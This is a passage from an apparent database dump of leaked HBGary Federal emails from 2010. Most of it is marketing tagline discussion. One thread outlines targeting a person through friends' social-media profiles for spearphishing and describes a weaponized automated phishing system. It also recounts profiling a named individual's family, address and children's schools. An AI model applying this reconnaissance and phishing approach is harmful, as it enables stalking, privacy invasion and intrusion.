interchangable.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&quot;Assurance&quot; implies more of an\r\nongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version\r\nof APT in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t have the &quot;we are a product company&quot; punch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional\r\nclarifying words.&nbsp;&nbsp;Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not\r\nneccesarily enteprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with\r\nconsumer grade protection &amp; AV\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could\r\nalso mean incident response services\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent,\r\nand could mean viruses and banking malware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global\r\nCyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that\r\nwe offer an Enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6532,'aaron_hbgary_com/6532.html'),(5156,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003787.M2441P14101Q11.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Automated spear fishing','Funny a few articles came out yesterday on this topic. &nbsp;I don\'t see a lot of documentation about these types of attacks happening in a big way (7 years ago, things don\'t evolve as fast as we think sometimes), maybe I am just missing them. &nbsp;Frightening how effective they could be. &nbsp;If I wanted to get to your box I might go 5 people out to do it, social networks like facebook, linkedin, flickr, etc. &nbsp;All provide me the social network information that I need. &nbsp;I can pick multiple paths to get to you, do a little research on profiles to find out a few tidbits on likes, hobbies, etc. &nbsp;Get one sucker down the chain to bite, done. &nbsp;You will eventually get an email from me, Ted, rich, etc with the subject line: New Malware Techniques (attached PDF) or check out this video of new Cyber Czar (video attached).Would be interested to see how much of this you could actually automate.AaronOn Apr 7, 2010, at 8:04 AM, Greg Hoglund wrote:&nbsp;\r\nAaron,\r\n&nbsp;\r\nYes I have seen a very effective automated spearfishing system.&nbsp; I got a demo of it about&nbsp;7 years ago.&nbsp; The developer is actually the same guy who went on to found Paterva, the creators of Maltego.&nbsp; The automated system was fully weaponized with client-side exploits for iexplore and outlook, including a worm package for lateral movement once inside an Enterprise, it&nbsp;launched attackes/ran from a server platform with a web front end, and would automatically find email addresses for a given corporation, country domain,&nbsp;or government target.&nbsp; For any target it could find hundreds of valid email addresses by combing open sources and using intelligent email-address patterns.&nbsp; Attached is a whitepaper and some screenshots.&nbsp;&nbsp;At the time this was clearly able to take out any target without exception, given that a small percentage of email targets would end up clicking on the package, and all it takes is a handful to victims to get the worming package inside the network.\r\n\r\n&nbsp;\r\n-Greg&nbsp; \r\nOn Tue, Apr 6, 2010 at 9:55 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHave any if you seen an automated spear fishing capability in thewild. &nbsp;I was just playing around last night and started developing a\r\npersonal profile - picked a person, Dave Luber. &nbsp;Quickly found hisTwitter, facebook, flickr, jeep aficianado forum membership. &nbsp;Trips hehas made, friends, group interests, wife, kids, relatives, address,phone number, kids schools, sports, etc. &nbsp;This would be too easy to\r\nautomate and I think scarily effective. &nbsp;Within 10 min. Of manualresearch I had a significant amount of information about him (and felta bit like a stalker).We should have a capability to do this to our adversaries.\r\nAaron&nbsp;From my iPhone\r\n&lt;bh-us-03-sensepost-paper.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14326,'aaron_hbgary_com/14326.html'),(5157,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003787.M341924P14101Q12.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Some New Taglines from Greg','Agreed but much smaller markets and those are things HBGary is already known for, putting to much emphasis on those might detract from the larger market which is detection and defense.\r\nI know it makes you want to pull your hair out, bit still think an active defense appliance is needed marketed as advanced threat detection.Talk to much about reverse engineering and you will be right back in the forensics bucket.\r\nAaronFrom my iPhoneOn Apr 12, 2010, at 8:58 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nLet’s remember that we are far more than just detection.  The\r\nmessaging needs to be inclusive of our incident response and reverse\r\nengineering as these are important components that come after detection to\r\ncombat threats.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 8:41 AM\r\nTo: Bob Slapnik; Greg Hoglund; Penny Leavy; Rich Cummings\r\nCc: Karen Burke\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSome thoughts on Branding.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTaglines:\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant isn&#39;t good enough\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWords to use: Proactive Detection, Dynamic Detection,\r\nProactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk\r\nManagement, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly\r\ntailored to different audiences.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFirst what is the Vision.\r\n\r\n\r\n\r\n\r\n\r\nSecond what are your markets.\r\n\r\n\r\n\r\n\r\n\r\nThird, what are their hotbuttons in each market (compliance,\r\nintelligence, mission assurance)\r\n\r\n\r\n\r\n\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMarkets:\r\n\r\n\r\n\r\n\r\n\r\nFederal:\r\n\r\n\r\n\r\n\r\n\r\nState/Local:\r\n\r\n\r\n\r\n\r\n\r\nCommercial: (maybe want to break these out further banking,\r\netc) but that might also dilute your messaging.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHotbuttons:\r\n\r\n\r\n\r\n\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT,\r\nCIP, protection of sensitive/classified information.\r\n\r\n\r\n\r\n\r\n\r\nState/Local: Cost/Compliance,\r\n\r\n\r\n\r\n\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think usecases or summaries of how HBGary products could\r\nbe used effectively in each market segment would be helpful for people to grasp\r\nthe significance quickly.\r\n\r\n\r\n\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone\r\nelse.  How to we protect the mission, provide net defense capability.\r\n\r\n\r\n\r\n\r\n\r\n2.  How does HBGary benefit compliance, IP protection,\r\nrisk mitigation.  how does it save them money.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMight want to illustrate our benefit with partner\r\nintegration, foundstone, verdasys, fidelis, etc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n“combat” is both offense and defense.  Implies an \r\nongoing battle.  Works for both gov’t and private sector.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, April 11,\r\n2010 2:34 PM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Some New Taglines\r\nfrom Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV\r\nvendors have failed. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise\r\nproduct\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS\r\nand AV fails\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can&#39;t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as\r\n&quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian\r\nbank-info stealing malware, where &quot;Global Threats&quot; implies\r\ngovernments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &#39;Assured&#39; means we can deliver where the IDS and AV\r\nvendors have failed. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Using the word Defense implies Threat.  So,\r\nthese two words are interchangable.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assurance&quot; implies more of an\r\nongoing partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn&#39;t come off as wordy, lets us get the big-boy version\r\nof APT in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn&#39;t have the &quot;we are a product company&quot; punch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-  Using the word Protection requires additional\r\nclarifying words.  Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not\r\nneccesarily enteprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with\r\nconsumer grade protection &amp; AV\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could\r\nalso mean incident response services\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent,\r\nand could mean viruses and banking malware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global\r\nCyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that\r\nwe offer an Enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Defense in Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12954,'aaron_hbgary_com/12954.html'),(5158,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003787.M566956P14101Q13.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Some New Taglines from Greg','Maybe another tagline:Taking reverse engineering out of malware analysis and threat detection.AaronOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:Let’s remember that we are far more than just detection.&nbsp; The messaging needs to be inclusive of our incident response and reverse engineering as these are important components that come after detection to combat threats.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 12, 2010 8:41 AMTo:&nbsp;Bob Slapnik; Greg Hoglund; Penny Leavy; Rich CummingsCc:&nbsp;Karen BurkeSubject:&nbsp;Re: Some New Taglines from Greg&nbsp;Some thoughts on Branding.&nbsp;Vision:Proactive Defense for Advanced Threats.Advanced Threat DetectionEnterprise Threat DetectionAdvanced Threat Detection and Risk ManagementEnterprise Threat Detection and Risk Management&nbsp;Taglines:When being compliant is just the starting point.When being compliant isn\'t good enoughIts 12am, do you know whats hiding in your memory?Bringing malware analysis to Net DefenseDetecting tomorrows threats today. (shawn)Detection that evolves as quickly as the threat.&nbsp;Words to use: Proactive Detection, Dynamic Detection, Proactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk Management, Mission Assurance, Assured Security, Threat Detection&nbsp;My 2 cents is you need a single vision but maybe slightly tailored to different audiences.&nbsp;First what is the Vision.Second what are your markets.Third, what are their hotbuttons in each market (compliance, intelligence, mission assurance)Fourth, messaging per environment based on 1-3.&nbsp;Vision:&nbsp;Markets:Federal:State/Local:Commercial: (maybe want to break these out further banking, etc) but that might also dilute your messaging.&nbsp;Hotbuttons:Federal: Intelligence, Mission Assurance, Combating APT, CIP, protection of sensitive/classified information.State/Local: Cost/Compliance,Commercial: Risk/Compliance, IP&nbsp;I think usecases or summaries of how HBGary products could be used effectively in each market segment would be helpful for people to grasp the significance quickly.1. How can HBGary be used to combat APT better than anyone else. &nbsp;How to we protect the mission, provide net defense capability.2. &nbsp;How does HBGary benefit compliance, IP protection, risk mitigation. &nbsp;how does it save them money.&nbsp;Might want to illustrate our benefit with partner integration, foundstone, verdasys, fidelis, etc.&nbsp;Aaron&nbsp;On Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:How this?&nbsp;Combat Global Cyber Threats&nbsp;“combat” is both offense and defense.&nbsp; Implies an&nbsp; ongoing battle.&nbsp; Works for both gov’t and private sector.&nbsp;&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Sunday, April 11, 2010 2:34 PMTo:&nbsp;all@hbgary.com; Karen BurkeSubject:&nbsp;Some New Taglines from Greg&nbsp;&nbsp;Team,Here are some taglines I just cooked up.&nbsp;#1. Assured Cyber Defense against Global Threats&nbsp;- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;- \"Global Threat\" is a big-boy way to say APT.- \"Defense\" implies that we have an Enteprise product- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing- kind of wordy&nbsp;#2. Assured Defense against Global Cyber Threats&nbsp;- \"Assured Defense\" means we can deliver where IDS and AV fails- \"Assured Defense\" implies enterprise product- \"Cyber\" has to be present, otherwise you can\'t tell what kind of threat defense we are addressing- \"Global Cyber Threats\" is not as strong as \"Global Threats\" with respect to APT- \"Global Cyber Threats\" can mean Russian bank-info stealing malware, where \"Global Threats\" implies governments and hostile organizations&nbsp;#3. Assured Cyber Defense&nbsp;- \'Assured\' means we can deliver where the IDS and AV vendors have failed.&nbsp;- Using the word Defense implies Threat.&nbsp;&nbsp;So, these two words are interchangable.&nbsp;#4. Assurance against Global Cyber Threats&nbsp;-&nbsp;\"Assurance\" implies more of an ongoing&nbsp;partnership, as opposed to a product-focus- doesn\'t come off as wordy, lets us get the big-boy version of APT in- doesn\'t have the \"we are a product company\" punch&nbsp;#4. Cyber Threat Protection&nbsp;-&nbsp; Using the word Protection requires additional clarifying words.&nbsp;&nbsp;Hence, \"Cyber Threat\"- \"Protection\" absolutely implies product, but not neccesarily enteprise product- \"Protection\" can easily be confused with consumer grade protection &amp; AV&nbsp;#5. Cyber Threat Defense&nbsp;- Very broad scope, accurate for everything we do- \"Defense\" implies enterprise product, but could also mean incident response services- \"Cyber Threat\" is not a strong APT equivalent, and could mean viruses and banking malware- \"Cyber Threat\" is not strong like \"Global Cyber Threat\" or \"Global Threat\"&nbsp;#6. Cyber Threat Defense for the Enterprise&nbsp;- \"for the Enterprise\" brings home the point that we offer an Enterprise product&nbsp;Some variations of the above:&nbsp;Assured Cyber Threat ProtectionAssured Cyber Threat DefenseCyber Assurance in a Hostile WorldAssured Defense in&nbsp;Hostile Cyberspace&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 02:32:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10 14:32:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9356,'aaron_hbgary_com/9356.html'),(5159,'2010-04-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003787.M879692P14101Q14.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Stock Photo Image','Hi Penny,\r\n\r\nDo you guys have a stock photo account.\r\n\r\nDo you already have a copy of the following image?\r\nist2_3953520-3d-helix-with-binary-code\r\n\r\n',2161,'aaron_hbgary_com/2161.html'),(5160,'2010-04-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003788.M275306P14101Q15.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','RE: Some New Taglines from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI like &#8220;Combat Global Cyber Threats&#8221;\r\n\r\n&nbsp;\r\n\r\nIt is all-inclusive.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 9:05 AM\r\nTo: Bob Slapnik\r\nCc: Greg Hoglund; Penny Leavy; Rich Cummings; Karen Burke\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAgreed but much smaller markets and those are things HBGary\r\nis already known for, putting to much emphasis on those might detract from the\r\nlarger market which is detection and defense.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI know it makes you want to pull your hair out, bit still\r\nthink an active defense appliance is needed marketed as advanced threat\r\ndetection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTalk to much about reverse engineering and you will be right\r\nback in the forensics bucket.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik &lt;bob@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s\r\nremember that we are far more than just detection.&nbsp; The messaging needs to\r\nbe inclusive of our incident response and reverse engineering as these are\r\nimportant components that come after detection to combat threats.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 12, 2010 8:41 AM\r\nTo: Bob Slapnik; Greg Hoglund; Penny Leavy; Rich Cummings\r\nCc: Karen Burke\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSome\r\nthoughts on Branding.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\nProactive\r\nDefense for Advanced Threats.\r\n\r\n\r\n\r\n\r\n\r\nAdvanced\r\nThreat Detection\r\n\r\n\r\n\r\n\r\n\r\nEnterprise\r\nThreat Detection\r\n\r\n\r\n\r\n\r\n\r\nAdvanced\r\nThreat Detection and Risk 